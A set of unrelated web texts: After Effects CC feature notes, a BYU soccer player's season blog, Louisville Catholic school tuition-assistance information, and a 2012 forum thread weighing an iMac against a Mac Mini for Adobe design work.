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After Effects CC (12.2)
Faster, customizable output
Reduce file management clutter and organize your images with new customization of output file name and path templates.
Improved snapping
Layer and mask snapping behavior makes aligning both 2D and 3D objects simple, without needing to calculate and type in values. Now snap items to shape paths, bounding boxes, cameras, and lights, and within shape layers.
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Scripting enhancements
New script enhancements make it possible to automate output to various formats by using scripts to change render and output module.
Migrate settings
Migrate your settings such as workspace, preferences, and keyboard shortcuts from pervious versions of After Effects CC to your current version.
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Also included: Bezier paths for shape layers; the ability to use the Reload Footage command with missing footage; a new maximum value of 200 for the Brush Size properties in the Stroke and Write-on effects; and more.
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Mask Tracker
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HiDPI content viewers for Retina displays on Mac computers
After Effects will now take advantage of a Retina display on a Mac computer to show each pixel of content in a viewer as a single pixel on the display.
Improved snapping
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GPU optimizations
Work faster with GPU optimizations. Enhancements in the ray-traced 3D renderer enable you to quickly work with extruded text and shapes. Inclusion of the NVIDIA OptiX 3.0 library improves performance and stability for the ray-traced 3D renderer.
Media Browser
Access and manage assets with this convenient, dockable panel. Quickly browse, open, and composite virtually any video format. Link to traditional movie, image, and audio files, as well as industry-standard storage media like P2 cards, RED, XDCAM, and ARRIRAW.
Adobe Anywhere integration
Collaborate on composites and animations with team members. Use the new Media Browser in After Effects to browse and open shared productions on the Anywhere server. Easily share compositions and media, and manage historical versions of shared work.
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Also includes: New properties in the Expression Language Menu; rectified audio waveforms; changes and enhancements to layers; changes to mask path drawing; and more.
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Live 3D Pipeline
Objects and scenes from popular 3D modeling and animation software CINEMA 4D can be used directly as footage inside After Effects CC without rendering first. This eases roundtripping between the programs and opens up numerous creative possibilities.
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Refine Edge tool
It's the end of hard matte lines. Keep the details when separating complicated foreground elements like frizzy hair or motion-blurred edges from complex backgrounds. This means you can create natural-looking composites without keying specially shot footage.
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Track Optimization in the 3D Camera Tracker
The enhanced Camera Tracker in After Effects introduces Track Optimization which allows users to refine tracking points over time to gain more accurate 3D tracking in 2D space.
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Warp Stabilizer VFX
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Search feature for missing fonts, effects, and footage
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Bicubic resampling
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Pixel Motion Blur
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This past weekend we suffered two tough losses, but this week the youth soccer summer camps started which has rejuvenated our morale and given us an added boost of energy. Along with the summer camps, on Monday June 3rd, Tanner Whitworth, Ace Phillips and I had the opportunity to go to Crescent Middle School in Draper, Utah and meet with a second grade class. The kids were able to ask us questions about the game of soccer and about our own soccer careers.
Our week long trip to California and game in Colorado set us up nicely for the season collecting a total of four points against some of our toughest opponents on the road. Not to mention a good amount of team bonding at Six Flags and over some great food and walks around town. As much fun as we've had out of state, it's been exhausting. Over the past week and a half we've all been able to rest a little and get into a better practice schedule.
The end of the winter semester has a different meaning for every student. Generally, all that this time of year evokes is wonderful: warmer weather (usually), visits home for the summer, family vacations, cheaper rent, flowers, the zoo opening up again, and best of all, no more homework. For the BYU Men's Soccer team, this time of year is especially sweet. The grass is finally ready for outdoor training sessions. 6 a.m. practice becomes 7 a.m. practice, and the season is getting into full swing.
Yesterday we had our final preseason game, a solid victory against Western Wyoming. Overall, I would say our preparation for the upcoming PDL season this year has been good. We have put in the grueling hours, with 6am practices, often not finishing until 10am. It certainly is not easy, as we as players have class the rest of the day, and many of us work too. But I think we can say that we are prepared. We have had some good games that have revealed our strengths and weaknesses, and we have worked on them accordingly.


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Catholic schools remain accessible by offering a wide range of tuition assistance options.
Tuition assistance is available from:
- Archdiocese of Louisville
- Catholic Education Foundation
- Catholic high schools
- Parishes
Last year, more than $9.7 million was given to Catholic school students. All tuition assistance, applications, and procedures are handled through the Private School Aid Service (PSAS) with one form that is obtained through your school. Even if you have students in more than one Catholic school, you can apply for all of your children on one PSAS form. The deadline for submitting the PSAS form for the 2015-2016 school year is March 16, 2015.
The Private School Aid Service is an independent, third-party service that provides reasonable assessments of the ability of families to pay tuition at private and parochial schools. For more information about PSAS and the application, go here.
Copies of the PSAS analysis and forms are shared only with the contracting parish, school or agency; no one else will receive this information. Final decisions about tuition assistance will be communicated to you from your school or from the Catholic Education Foundation.
Parish membership is not required in order to receive tuition assistance from the Catholic Education Foundation or through the 200% of poverty discount. Parish membership is required for the new Archdiocesan Voucher Fund and for assistance directly from a parish.
In the fall of 2014, the Archdiocese announced new tuition assistance opportunities for Catholic elementary schools. Below are some FAQs for parents:
Questions and Answers for Parents – New Tuition Assistance Opportunities
Question: What tuition assistance is available to parents of students in Catholic elementary schools?
There are now four sources of financial support beyond what a family can provide:
- A discount for those whose household income is below 200% of the 2015 federal poverty level. This is open to all students.
- Tuition assistance provided by the Catholic Education Foundation. This is open to all students.
- Archdiocesan Voucher Fund, open to registered parishioners of any Catholic parish.
- Individual parishes may provide tuition assistance to parishioners.
Question: What do parents need to know, especially those new to the process:
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|Dec 17, 2012, 11:44 AM
iMac or Mac Mini
In 2013 I'll be looking to replace my early 2009 24inch iMac (2.66Ghz Intel Core 2 duo - 4Gb Ram - 640Mb h/drive).
The obvious replacement is the new iMac - 27", 2.9Ghz, Quad Core Intel core i5 / 1Tb drive or fusion drive / 8Gb ram). I would BTO and have 16Gb ram.
However, I am wondering if the 2.6Ghz Mac Mini (Quad Core Intel core i7 / 1Tb drive or fusion drive) maxed out to 16Gb ram would be an alternative. I can't find anyway of comparing it to my present iMac. I know I would have to buy a display but I'm thinking of splashing out and buying the Thunderbolt display then every 3 to 4 years I'll only have to replace the computer (assuming display doesn't fail).
My present iMac seems slow at times so I want something that will speed things up. I am sure the new iMac would - I'm unsure about the Mac Mini. I mainly use Adobe InDesign / illustrator / Acrobat / Photoshop.
Some advice please.
|Dec 17, 2012, 12:37 PM
The applications you mentioned won't have a significant difference running on the Mac Mini vs. the iMac, though latest versions of the Creative Suite use GPU acceleration. For that alone, the iMac would be a better choice.
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|Dec 17, 2012, 02:24 PM
The Mini is 30-40% faster than the iMac you think about.
The HD4000 GPU is fast enough for all the CS apps. Although CS has GPU acceleration, the number of filters this works on is 1) very small and very non-usefull filters, 2) HD4000 is supported too for GPU acceleration, so this chip will speed up GPU functions as well.
The overall speed increase of the Mini on the other side works for EVERY FUNCTION of CS. So pick your choice: 400% boost instead of 200% boost on 5 weird GPU accelerated functions, or 30-40% boost on everything.
And if you are so much into CS, try your TB budget on a real good graphics professional monitor (adobeRGB/sRGB/tilt/swivel/height adj/KVM switch for 2 computers/30bit colour/matte). The NEC PA271W is almost the same price, and you get 3 or 5 years warranty with it, so it is a real good investment if you change the computer a couple of times the coming years.
|Dec 17, 2012, 02:37 PM
Rather than BTO with max RAM, why not do it yourself as it is super easy for both?
|Dec 17, 2012, 07:00 PM
I thought the GPU benefit with Adobe is only with Nvidia GPUs? I have an ATi GPU and was told I missing out, but an Intel GPU is a good with Adobe too??
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|Dec 18, 2012, 03:32 AM
thanks for advice
Thanks for the advice given. I take on board about the display and will certainly look into that if I go the Mac Mini route. I'll also look into the question of upgrading the ram myself although I'm always slightly cautious about whether third party ram is as good as Apple's ram.
I am quite surprised that the Mac Mini is 30% - 40% faster than the new iMac. I don't know - is there any benchmark test to say how much faster than my present 2009 iMac it is ?
How do the graphics compare - bearing in mind I use Photoshop CS6 ? I've read reviews where there is a lot of criticism about the graphics card in the Mac Mini, although I am quite happy with the graphics card in my present iMac (NVIDIA GeForce 9400 - VRAM 256Mb) so if it's better than that I don't see a problem. Being a bit ignorant about these things I assume the graphics card doesn't affect speed issues, merely colour issues. Or is that totally wrong.
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|Dec 18, 2012, 03:13 PM
As for graphics, having the discrete processor will probably be a good thing down the road a bit.
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|Dec 19, 2012, 03:47 AM
Useful advice
Thanks to all for replying. I cannot afford the iMac i7 - one has to put a limit on it. The Geekbench site is very useful and comparing the 2.6GHz Mac Mini to the 2.9Ghz imac it looks like the Mac Mini would be the better bet - also easier to upgrade in a couple of years.
Can anyone enlighten me as to what difference the graphics card makes. I am not actually sure what a graphics card does.Is the graphics card in the Mac Mini better than that in my current iMac (NVIDIA GeForce 9400 - VRAM 256Mb)
|Dec 19, 2012, 04:30 AM
|Dec 19, 2012, 06:05 AM
Also note...in 2013, the new Intel processors (the "Haswell" processors) are supposed to come out, with better better graphics processing over the current HD 4000. If you can wait even longer until those come out, that may be better for you.
|Dec 19, 2012, 02:54 PM
I myself bought the mac mini over the 27 inch imac.
My ideal setup would have been the imac but soon realized that as an "all in one" package it wasnt going to work.
I was better off with the imac hooked up to a 32 inch LCD along with my blu-ray player and HD receiver.
Now i only have one screen in my room, instead of two.
|Dec 19, 2012, 08:18 PM
And if you are a pixel peep: CPU calculations are more precise as GPU ones. So despite the GPU acceleration on some functions, they are executed less precise.
|Dec 19, 2012, 08:27 PM
Keep in mind that photoshop can be very hard drive intensive and both the new imac and mac mini actually use a slower hard drive than your current mac.
Also don't both with BTO ram. The ram apple uses is complete crap. Its budget hynex ram for the most part.
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|Dec 20, 2012, 03:37 AM
I'm a graphic designer too, and am currently having the exact same conundrum of imac vs mac mini (currently have 2008 24" imac). I spend most of my time in Indesign or PS.
I've come to the conclusion that the mini just has more bang for my buck, and while the GPU might sometimes be useful in the imac, the faster CPU on the mini is probably more useful. I've also done some research on monitors and this screen I've found uses the exact same panel as the imac/thunderbolt display at 1/3rd of the price, and has great reviews (not as sexy though!).
My plan is to get the mini, and hopefully then I'll be able to afford to upgrade more regularly in future than I would with the imac.
|Dec 20, 2012, 06:37 AM
I'm not one for graphics apps but I do do development in XCode and MSVS at the same time, OSX on one monitor (HP ZR2440w) and VMWare Fusion Win 7 on the 2nd monitor (cr@ppy BenQ which I hope to replace with a 2nd HP zr24 soon) on a Mac Mini 2.3 i7 QM HD4000 with 16GB Corsair ram and 512GB Crucial M4 SSD and 750GB 7200rpm WD Black.
It's FAST, i have the VM taking 4 cores(it's the i7 so it's really only 2 core but HT) and 8GB ram, so it's a 50/50 split on resources and I get no lag at all. Apps compile plenty fast and rendering iPhone/iPad apps are seamless.
All in if I had to do a cost based comparison it would go something like this.
Mac Mini - £679
Crucial M4 - £293
WD Scorpio Black - £55
Corsair Vengeance 16gb DDR3-1600 - £75
HP ZR2740W IPS monitor - £550 (like for like monitor size wise for arguments sake)
Apple Wireless KB - £55
Apple Magic mouse - £50
That's a total of £1757, the comparable 27" iMac with similar specs, ie. 16GB ram and a 1TB fusion drive, is £1859.
So for £100 less I have something that's easier to fix and upgrade and cart around should the need arise.
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